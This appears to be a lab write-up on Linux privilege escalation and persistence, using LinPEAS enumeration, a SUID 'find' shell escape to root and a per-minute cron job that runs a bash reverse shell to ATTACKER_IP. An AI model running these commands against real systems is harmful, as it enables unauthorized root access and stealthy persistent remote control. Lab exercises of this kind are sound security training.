Privilege Escalation and Persistence Lab

1. Enumeration using LinPEAS

- Uploaded linpeas.sh to target system
- Made it executable:
  chmod +x linpeas.sh
- Executed:
  ./linpeas.sh

Figure 1: Enumeration using LinPEAS

- Analyze output for:
  - SUID binaries
  - Writable files
  - Kernel vulnerabilities

```
╔═╣ Polkit Policies (T1548.003)
Checking /etc/polkit-1/rules.d/:
WARNING: /etc/polkit-1/rules.d/ is writable!
Checking /usr/share/polkit-1/rules.d/:
WARNING: /usr/share/polkit-1/rules.d/ is writable!
WARNING: /usr/share/polkit-1/rules.d//10-systemd-logind-root-ignore-inhibitors.rules.example is writable!
// SPDX-License-Identifier: MIT-0
//
```

Figure 2: Writeable Files

2. Exploit Kernel / SUID Vulnerabilities

   - Identify vulnerable SUID binaries (e.g., find, bash, vim)
   - Use known exploitation techniques:
     find . -exec /bin/sh -p \; -quit
   - Gain elevated/root shell
   - Verify:
     Whoami

```
┌──(root㉿kali)-[/home/kali]
└─# find . -exec /bin/sh -p \; -quit
# whoami
root
```

Figure 3: Exploit Kernel

3. Set Up Persistence (Cron Job / Service)

   Method: Cron Job

   - Create reverse shell script:
     nano /tmp/ persist.sh
   - Example payload:
     bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
   - Make executable
     chmod +x /tmp/ persist.sh
   - Add to cron:
     crontab -e
   - Add line:
     * * * * * /tmp/ persist.sh

```
└─$ nano /tmp/persist.sh

┌──(kali㉿kali)-[~]
└─$ chmod +x /tmp/persist.sh

┌──(kali㉿kali)-[~]
└─$ crontab -e
crontab: installing new crontab
```

Figure 4: Cron Job setup

Result:

- Persistent access every minute
- Survives reboot

Privilege Escalation Log

Task ID	Technique	Target IP	Status	Outcome
010	SUID Exploit	192.168.1.105	Success	Root Shell

Persistence Summary

A cron job was created to maintain persistence by scheduling a reverse shell script to execute at regular intervals. This ensured continued access even after system reboot. The script was placed in a writable directory and configured in crontab, allowing stealthy and reliable re-entry into the compromised system.

Lab Summary

The Privilege Escalation and Persistence Lab demonstrated how attackers can gain elevated access on a vulnerable system using enumeration and exploitation techniques. Using LinPEAS, critical misconfigurations such as SUID binaries, writable files, and potential kernel vulnerabilities were identified. A vulnerable SUID binary (find) was successfully exploited to obtain root-level access on the target machine.

After achieving privilege escalation, persistence was established by creating a cron job that executed a reverse shell script at regular intervals. This ensured continued access even after system reboots. The lab highlighted the importance of proper permission management, regular system updates, and monitoring scheduled tasks to prevent unauthorized access and maintain system security.